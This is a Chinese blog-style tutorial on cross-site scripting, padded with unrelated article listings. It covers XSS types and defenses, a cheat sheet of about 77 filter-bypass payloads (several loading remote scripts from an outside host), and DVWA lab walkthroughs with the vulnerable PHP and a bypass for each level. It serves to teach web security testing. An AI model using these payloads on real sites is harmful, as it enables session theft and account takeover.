当前位置：首页 > news >正文

【网络安全】Xss漏洞

news 2025/7/12 9:05:06

xss漏洞

- xss漏洞介绍
- 危害
- 防御方法
- xss测试语句
- xss攻击语句
- 1. 反射性xss
- 2.存储型xss
- 3.DOM型xss
- dvwa靶场各等级渗透方法
- - - xss反射型（存储型方法一致）
    - - Low
        Medium
        Hight
        impossible
    - Dom型
    - - Low
        Medium
        Hight

xss漏洞介绍

定义：XSS 攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为 XSS，XSS 是一种在 web 应用中的计算机安全漏洞，它允许恶意 web 用户将代码植入到 web 网站里面，供给其它用户访问，当用户访问到有恶意代码的网页就会产生 xss 攻击。

危害

1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
等

防御方法

XSS 防御的总体思路是：对输入(和 URL 参数)进行过滤，对输出进行编码。

xss测试语句

检测网站xss漏洞时，输入一些前端标签查看网站源码是否过滤，如果没有过滤大概率会存在xss漏洞
在这里插入图片描述

输入<h1>1</h1>

在这里插入图片描述

常用的测试语句

<h5>1</h5>
<span>1</span>
<script>alert(1)</script>
javascript:alert(1)
<img src=1 onerror=alert(1)>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//

xss攻击语句

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

1. 反射性xss

特点：反射性xss是非持久化的，需要欺骗用户去点击恶意链接才能触发xss代码。
通常攻击者会通过邮件或其他诱导方式，将含有xss的恶意代码发送给目标用户，当用户访问该链接时，浏览器解析带有xss代码的恶意脚本后，就会触发xss攻击

检测方法：
输入框中输入

<script>alert(/xss漏洞/)</script>

在这里插入图片描述

2.存储型xss

特点：存储型xss是持久化，代码会存储到服务器的数据库中，当用户在个人信息或者其他输入文本等地方插入恶意代码。
当其他用户访问该页面，就会触发代码执行，造成xss攻击

检测方法：
输入内容

<script>alert(/xss漏洞/)</script>

在这里插入图片描述
再次查看数据库中是否保存此信息

3.DOM型xss

特点： DOM型xss是一种特殊的反射性xss，主要是通过利用输入内容使前端代码进行执行的方式达成xss攻击

检测方法
输入内容：

javascript:alert("xss漏洞")

在这里插入图片描述
代码分析

当我们在前端页面输入js代码时，页面将会执行，从而造成xss攻击

dvwa靶场各等级渗透方法

xss反射型（存储型方法一致）

Low

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>

方法：

<script>alert(1)</script>

Medium

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );  ##将<script>替换为空// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

方法：

<scri<script>pt>alert(1)</script>  #双写绕过
<Script>alert(1)</script>  # 大小写绕过
等方法

Hight


<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); #过滤掉了单个字符// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

方法：

<img src=1 onerror=alert(1)>  #不使用script标签达到绕过效果

impossible


<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>

使用htmlspecialchars方法建立实体，安全代码

Dom型

Low


<?php# Don't need to do anything, protction handled on the client side?>

方法

?default=<script>alert(1)</script>   #修改url内容

Medium


<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?>

在这里插入图片描述

方法

?default=</select><img src=1 onerror=alert(1)>  #闭合上个select标签  然后代码过滤了script使用img进行绕过

Hight


<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":   #只能存在这四个选项中的其中一项才能执行case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>

方法：

?default=French#<script>alert(1)</script>    #使用定位符进行绕过

【网络安全】Xss漏洞

xss漏洞 xss漏洞介绍危害防御方法xss测试语句xss攻击语句1. 反射性xss2.存储型xss3.DOM型xssdvwa靶场各等级渗透方法xss反射型（存储型方法一致）LowMediumHightimpossible Dom型LowMediumHight xss漏洞介绍定义：XSS 攻击全称跨站脚本攻击&am…...

编程日记 2023/5/30 13:43:42

17.网络爬虫—Scrapy入门与实战

这里写目录标题 Scrapy基础Scrapy运行流程原理Scrapy的工作流程Scrapy的优点 Scrapy基本使用(豆瓣网为例)创建项目创建爬虫配置爬虫运行爬虫如何用python执行cmd命令数据解析打包数据打开管道pipeline使用注意点后记前言： 🏘️🏘️个人简介…...

编程日记 2023/4/20 1:15:49

【面试题】JavaScript 中 try...catch 的使用技巧？

大厂面试题分享面试题库前后端面试题库 （面试必备） 推荐：★★★★★ 地址：前端面试题库 web前端面试题库 VS java后端面试题库大全作为一位 Web 前端工程师，JavaScript 中的 try...catch 是我们常用的特性之一。…...

编程日记 2023/4/20 1:10:48

Java 命名格式规范

Java 命名格式规范概述简洁清爽的代码风格应该是大多数开发工程师所期待的。在编码过程中笔者常常因为起名字而纠结，夸张点可以说是编程 5 分钟，命名两小时！究竟为什么命名成为了编码中的拦路虎。每个公司都有不同的标准，目…...

编程日记 2023/5/30 11:19:42

【C++】STL中的容器适配器 stack queue 和 priority_queue 的模拟实现

STL中的容器适配器一、容器适配器1、什么是容器适配器2、STL标准库中的容器适配器二、stack的模拟实现1、stack的简单介绍2、栈的模拟实现三、queue的模拟实现1、queue的简单介绍2、queue的模拟实现四、priority_queue的模拟实现1、priority_queue的简单介绍2、priority_qu…...

编程日记 2023/5/30 13:38:06

MongoDB 聚合管道中使用算术表达式运算符

算术表达式运算符主要用于实现数字之间的算术运算，主要包含了对加、减、乘、除、余数、截取、舍入等算术操作。下面我们进行详细介绍： 一、准备数据初始化商品数据 db.goods.insertMany([{ "_id": 1, name: "薯片", size: &q…...

编程日记 2023/4/20 0:55:45

代码随想录算法训练营第四十三天-动态规划5｜1049. 最后一块石头的重量 II , 494. 目标和 , 474.一和零

最后一块石头重量转化为将一个集合分隔成两个集合，两个集合之间的差值最小，就是最后剩下最小的石头重量。这里可以求集合的一个平均值，如果正好等于平均值，说明可以抵消，这时候重量为0，如果不行&#xff0c…...

编程日记 2023/5/30 10:31:06

《淘宝网店》：计算总收益

目录一、题目二、思路 1、当两个年份不一样的时候 （1）from年剩余之后的收益 （2）中间年份的全部收益 （3）to年有的收益 2、同一个年份三、代码详细注释版本： 简化注释版本&#xff…...

编程日记 2023/5/30 10:39:49

2023年03月青少年软件编程C语言一级真题答案——持续更新.....

1.字符长方形给定一个字符，用它构造一个长为4个字符，宽为3个字符的长方形，可以参考样例输出。时间限制：1000 内存限制：65536 输入输入只有一行，包含一个字符。输出该字符构成的长方形，长4个字符，宽3个字符。样例输入 * 样例输出 **** **** ****#include<bi…...

编程日记 2023/5/30 10:49:04

家用洗地机好用吗？好用的洗地机分享

洗地机是一种高效、节能、环保的清洁设备，广泛应用于各种场所的地面清洁工作。它不仅可以快速清洁地面，还可以有效去除污渍、油渍等难以清洁的污染物，让地面恢复光洁如新的状态。同时，洗地机还可以减少清洁人员的劳动强度&#xf…...

编程日记 2023/5/30 10:59:12

$\sqrt{n}$

《分解因数》：质因数分解

目录一、题目： 二、思路： 三、代码： 一、题目： 分解因数《分解因数》题目链接所谓因子分解，就是把给定的正整数a，分解成若干个素数的乘积，即 a a1 a2 a3 ... an,并且 1 < a1…...

编程日记 2023/5/30 11:13:38

(排序10)归并排序的外排序应用（文件排序）

TIPS 在一些文件操作函数当中，fputc与fgetc这两个函数都是针对字符的，如果说你需要往文件里面去放入整形啊等等，不是字符的类型，这时候就用fprintf，fscanf在参数里面数据类型控制一下就可以。但是话说回来&#xff0c…...

编程日记 2023/4/20 0:25:38

浅谈根号分治与分块

文章目录 1. 根号分治哈希冲突 2. 线性分块引入教主的魔法[CQOI2011] 动态逆序对[国家集训队] 排队[HNOI2010] 弹飞绵羊蒲公英 1. 根号分治哈希冲突题目1 n n n 个数， m m m 次操作。操作 1 为修改某一个数的值，操作 2 为查询所有满足下标模 x x x …...

编程日记 2023/4/20 0:20:37

（OpenAI）ChatGPT注册登录常见问题错误代码及其解决方法

在使用 ChatGPT 的时候我们可能会碰到一些错误的代码，本文统一来介绍一下每一种错误以及解决方法。错误代码1. 不能在当前国家使用出现场景：一般在注册或登录的时候会出现。原因：主要是ChatGPT检测到当前访问所在的地区不允许访问导致。 …...

编程日记 2023/5/30 12:32:00

MySQL主从复制、读写分离（MayCat2)实现数据同步

文章目录 1.MySQL主从复制原理。2.实现MySQL主从复制（一主两从）。3.基于MySQL一主两从配置，完成MySQL读写分离配置。（MyCat2） 1.MySQL主从复制原理。 MySQL主从复制是一个异步的复制过程，底层是基于Mysql数…...

编程日记 2023/5/30 12:40:39

Linux 云服务器好用吗？（解读Linux云服务器的特点优势）

　　如今，云计算越来越受欢迎，许多公司正在将业务转移到那里。企业向云过渡的主要原因是它提供的众多服务，包括安全和充足的存储、数据库、服务器和其他关键元素。作为相对前|沿的技术之一，云建立在虚拟服务器上。Linux 服务器…...

编程日记 2023/5/30 12:50:46

研读Rust圣经解析——Rust learn-8（match,if-let简洁控制流，包管理）

研读Rust圣经解析——Rust learn-8（match,if-let简洁控制流，包管理） matchother和占位符_区别 easy matchenum matchno valuematch inner Option matchmore better way if-let整洁控制包管理模块(mod)拆分声明modpub公开use展开引用拆解模块结…...

编程日记 2023/6/1 5:00:53

G8期刊《全体育》期刊简介及投稿要求

G8期刊《全体育》期刊简介及投稿要求《全体育》是由湖南体育产业集团有限公司主管、体坛传媒集团股份有限公司主办、中教体育出版发行的体育综合性期刊。主管：湖南体育产业集团有限公司主办：体坛传媒集团股份有限公司国内刊号：CN4…...

编程日记 2023/5/31 15:08:25

数据结构和算法学习记录——层序遍历（层次遍历）、二叉树遍历的应用（输出二叉树中的叶节点、求二叉树的高度、二元运算表达式树及其遍历、由两种遍历序列确定二叉树）

目录层序遍历思路图解代码实现二叉树遍历的应用输出二叉树中的叶节点代码实现求二叉树的高度思路图解代码实现二元运算表达式树及其遍历由两种遍历序列确定二叉树层序遍历层序遍历可以通过一个队列来实现，其基本过程为： 先根…...

编程日记 2023/5/30 14:19:31

【Neo4j数据库】图数据库_Neo4j增加节点（关系）、查询、删除数据库等操作解析（Cypher语句）

【Neo4j数据库】图数据库_Neo4j增加节点（关系）、查询、删除操作解析（Cypher语句） 文章目录【Neo4j数据库】图数据库_Neo4j增加节点（关系）、查询、删除操作解析（Cypher语句）1. 介绍2…...

编程日记 2023/5/30 14:31:12

【WiFi帧结构】

文章目录帧结构MAC头部管理帧帧结构 Wi-Fi的帧分为三部分组成：MAC头部frame bodyFCS，其中MAC是固定格式的，frame body是可变长度。 MAC头部有frame control，duration，address1，address2，addre…...

编程新知 2025/7/12 2:11:20

前面是指南，后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...

编程新知 2025/7/11 12:05:22

多模态大语言模型arxiv论文略读（108）

CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题：CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者：Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

编程新知 2025/7/5 8:54:59

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域，高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表，以及基于它们实现的 Reactor 模式，为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。一、I…...

编程新知 2025/7/11 10:46:19

MySQL账号权限管理指南：安全创建账户与精细授权技巧

在MySQL数据库管理中，合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。一、为何需要创建独立账号？ 最小权限原则&#xf…...

编程新知 2025/6/21 13:00:47

Linux离线（zip方式）安装docker

目录基础信息操作系统信息docker信息安装实例安装步骤示例遇到的问题问题1：修改默认工作路径启动失败问题2 找不到对应组基础信息操作系统信息 OS版本：CentOS 7 64位内核版本：3.10.0 相关命令： uname -rcat /etc/os-rele…...

编程新知 2025/6/16 16:58:04

【前端异常】JavaScript错误处理：分析 Uncaught (in promise) error

在前端开发中，JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作（如 Promise、async/await 等），开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝（r…...

编程新知 2025/7/6 8:20:01

nnUNet V2修改网络——暴力替换网络为UNet++

更换前，要用nnUNet V2跑通所用数据集，证明nnUNet V2、数据集、运行环境等没有问题阅读nnU-Net V2 的 U-Net结构，初步了解要修改的网络，知己知彼，修改起来才能游刃有余。 U-Net存在两个局限，一是网络的最佳深度因应用场景而异，这取决于任务的难度和可用于训练的标注数…...

编程新知 2025/7/11 23:11:00

Modbus RTU与Modbus TCP详解指南

目录 1. Modbus协议基础 1.1 什么是Modbus？ 1.2 Modbus协议历史 1.3 Modbus协议族 1.4 Modbus通信模型 🎭 主从架构 🔄 请求响应模式 2. Modbus RTU详解 2.1 RTU是什么？ 2.2 RTU物理层 🔌 连接方式 ⚡ 通信参数 2.3 RTU数据帧格式 📦 帧结构详解 🔍…...

编程新知 2025/7/8 23:47:15

CSS3相关知识点

CSS3相关知识点 CSS3私有前缀私有前缀私有前缀存在的意义常见浏览器的私有前缀 CSS3基本语法CSS3 新增长度单位CSS3 新增颜色设置方式CSS3 新增选择器CSS3 新增盒模型相关属性box-sizing 怪异盒模型resize调整盒子大小box-shadow 盒子阴影opacity 不透明度 CSS3 新增背景属性ba…...

编程新知 2025/7/8 2:40:00

xss漏洞

xss漏洞介绍

危害

防御方法

xss测试语句

xss攻击语句

1. 反射性xss

2.存储型xss

3.DOM型xss

dvwa靶场各等级渗透方法

xss反射型（存储型方法一致）

Low

Medium

Hight

impossible

Dom型

Low

Medium

Hight

相关文章：